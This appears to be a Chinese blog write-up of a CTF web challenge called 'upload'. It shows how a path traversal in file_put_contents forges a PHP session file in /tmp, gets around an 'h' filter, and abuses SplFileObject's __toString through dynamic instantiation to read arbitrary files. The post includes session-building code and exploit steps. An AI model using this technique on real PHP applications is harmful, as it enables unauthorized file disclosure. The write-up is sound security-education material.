抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

虽然没参加,不过有个师傅跑过来讨论了,就顺便搞搞,第一题是opensns的nday,这里主要分析下第二题upload。还挺有意思,原来一开始想着用像 [CVE-2021-3129](https://tari.moe/2021/06/03/laravel8-debug-rce/ 的方式写入可控的 session文件,结果 h 被过滤了。。

upload

源码

upload.7z

源码分析

关键文件有两个:index.php 和 info.php

info.php 主要是告诉我们,session存在 /tmp 目录下

image-20210731013402633

index.php 内容较多,不过分析了一波,首先映入眼帘的是 file_put_contents 方法,参数没有进行过滤,存在目录穿越。那我们可以通过目录穿越写 session 文件了。

PHP的session默认是以文件的形式进行存储,而且文件名是以 sess_ 开头的,后面的值为,为我们Cookie中 PHPSESSID=xxxxxxxxxxxxx 的 xxxxxxxxxxxxx。也就是我们以 PHPSESSID=xxxxxxxxxxxx 访问站点,PHP会在 /var/lib/tmp/php 之类的目录创新一个名为 sess_xxxxxxxxxxxxx 的文件,内容为序列化后的数据。

但题目过滤了字符 h

1
2
3
if(stristr($_POST['filename'], 'h')){
die('no h!');
}

正常来说,我们是没法目录穿越至存放 session 的路径的,毕竟有 /phph,但,题目中 session.save_path 在 /tmp 目录,而且写入的内容没有限制,也就是说我们可以任意伪造 session 了。

75行处看似可以调用函数

1
2
$pathinfo = array($_GET['file']=>$_SESSION['files'][$_GET['file']]);
${$_SESSION['func']}($pathinfo);

仔细一分析… 这里 ${} 原来是一种简单语法,也就是先获取$_SESSION['func']的值,作为变量名,然后作为函数名去调用,当然可以构造 $_SESSION['func']_SESSION["paths"] 然后 $_SESSION["paths"]system 之类的,但 $pathinfo 是数组…. 暂时没发现啥方法是传入数组进行利用的。

所以另辟蹊径,发现56行 new 了一个对象

1
$temp = new $class($path);

下面有个直接输出

1
echo $out.'</p>';

echo 对象会触发对象的 __toString 魔术方法,如果能找到啥对象实例化后的 __toString 魔术方法,会对 $path 进行一些利用(如输出这个参数文件内容,执行这个参数命令之类的)就好了。

刚好找到一个脚本 (

可以查看PHP原生类即内置类,查看拥有所需魔术方法的类如下

这里只获取 __toString,所以把其他注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes(); //获取所有已定义类
foreach($classes as $class) {
$methods = get_class_methods($class); //获取当前类所拥有的方法
foreach ($methods as $method) {
if (in_array($method, array(
// '__destruct',
'__toString',
// '__wakeup',
// '__call',
// '__callStatic',
// '__get',
// '__set',
// '__isset',
// '__unset',
// '__invoke',
// '__set_state' //调用var_export导出类时被调用
))) {
print "$class::$method";echo '<br>';
}
}
}

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
Exception::__toString
ErrorException::__toString
Error::__toString
ParseError::__toString
TypeError::__toString
ArgumentCountError::__toString
ArithmeticError::__toString
DivisionByZeroError::__toString
ClosedGeneratorException::__toString
DOMException::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString
OutOfBoundsException::__toString
OverflowException::__toString
RangeException::__toString
UnderflowException::__toString
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
IntlException::__toString
AssertionError::__toString
PDOException::__toString
PharException::__toString
Phar::__toString
PharData::__toString
PharFileInfo::__toString
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
mysqli_sql_exception::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
SoapFault::__toString
SodiumException::__toString

看到一些反射之类的,当然发现了一个 SplFileObject 类,发现他的 __toString 方法是 SplFileObject::fgets 方法的别名,作用是一行行文件读取。 flag 文件一般是一行,刚好满足要求。

实际利用

创建一个 flag 文件,内容为

image-20210731023959338

先构造 session

1
2
3
4
5
<?php
ini_set('session.save_path', '/tmp');
session_start();
$_SESSION['paths'] = array();
$_SESSION['paths']["/tmp/flag"] = 'SplFileObject';

然后访问一下这个文件,记得看请求的 Cookie: PHPSESSID 的值,然后到本地找到文件,把生成的内容复制一下,粘贴到 content 字段。因为php session 都是sess开头的,所以通过目录穿越写入 sess_tari

image-20210731023533505

写入session后

image-20210731023544822

实例化时,实际是实例化了 SplFileObject("/tmp/flag")

image-20210731023859135

image-20210731023930040

然后就会输出任意我们想输出的文件内容了

image-20210731023939310

搞定~

参考链接

[1] https://www.freebuf.com/articles/web/263710.html

[2] https://mp.weixin.qq.com/s/ucjyuXnWn4PkiD_40Eydkw

评论